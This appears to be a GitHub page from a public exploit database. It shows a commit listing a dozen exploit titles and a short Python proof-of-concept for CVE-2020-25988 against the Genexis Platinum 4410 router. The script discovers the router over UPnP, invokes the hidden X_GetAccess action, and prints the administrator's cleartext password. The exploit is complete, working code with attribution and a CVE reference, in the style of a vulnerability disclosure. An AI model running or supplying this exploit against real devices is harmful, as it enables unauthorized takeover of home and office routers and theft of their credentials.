21fa83f241
12 changes to exploits/shellcodes Internet Download Manager 6.38.12 - Scheduler Downloads Scheduler Buffer Overflow (PoC) Genexis Platinum 4410 Router 2.1 - UPnP Credential Exposure Joomla! Component com_memorix - SQL Injection Joomla! Component com_informations - SQL Injection Joomla! Component com_memorix - SQL Injection Joomla! Component com_informations - SQL Injection PESCMS TEAM 2.3.2 - Multiple Reflected XSS Fortinet FortiOS 6.0.4 - Unauthenticated SSL VPN User Password Modification xuucms 3 - 'keywords' SQL Injection Gitlab 12.9.0 - Arbitrary File Read (Authenticated) TestBox CFML Test Framework 4.1.0 - Arbitrary File Write and Remote Code Execution TestBox CFML Test Framework 4.1.0 - Directory Traversal Gemtek WVRTM-127ACN 01.01.02.141 - Authenticated Arbitrary Command Injection M/Monit 3.7.4 - Privilege Escalation M/Monit 3.7.4 - Password Disclosure Nagios Log Server 2.1.7 - Persistent Cross-Site Scripting
29 lines
No EOL
981 B
Python
Executable file
29 lines
No EOL
981 B
Python
Executable file
# Exploit Title: Genexis Platinum 4410 Router 2.1 - UPnP Credential Exposure
|
|
# Date: 17th November 2020
|
|
# Exploit Author: Nitesh Surana
|
|
# Vendor Homepage: https://www.gxgroup.eu/ont-products/
|
|
# Version: P4410-V2-1.34H
|
|
# Tested on: Windows/Kali
|
|
# CVE : CVE-2020-25988
|
|
|
|
import upnpy
|
|
|
|
upnp = upnpy.UPnP()
|
|
|
|
# Discover UPnP devices on the network
|
|
# Returns a list of devices e.g.: [Device <Econet IGD>]
|
|
devices = upnp.discover()
|
|
|
|
# Select the device directly from the list
|
|
device = devices[0]
|
|
|
|
# Get the services available for this device
|
|
# Returns a list of services available for the device
|
|
# device.get_services()
|
|
|
|
# We can now access a specific service on the device by its ID like a dictionary
|
|
service = device['DeviceInfo1']
|
|
|
|
# Execute the action by its name (in our case, the 'X_GetAccess' action)
|
|
# Returns a dictionary containing the cleartext password of 'admin' user.
|
|
print("Admin Password: {}".format(service.X_GetAccess()['NewX_RootPassword'])) |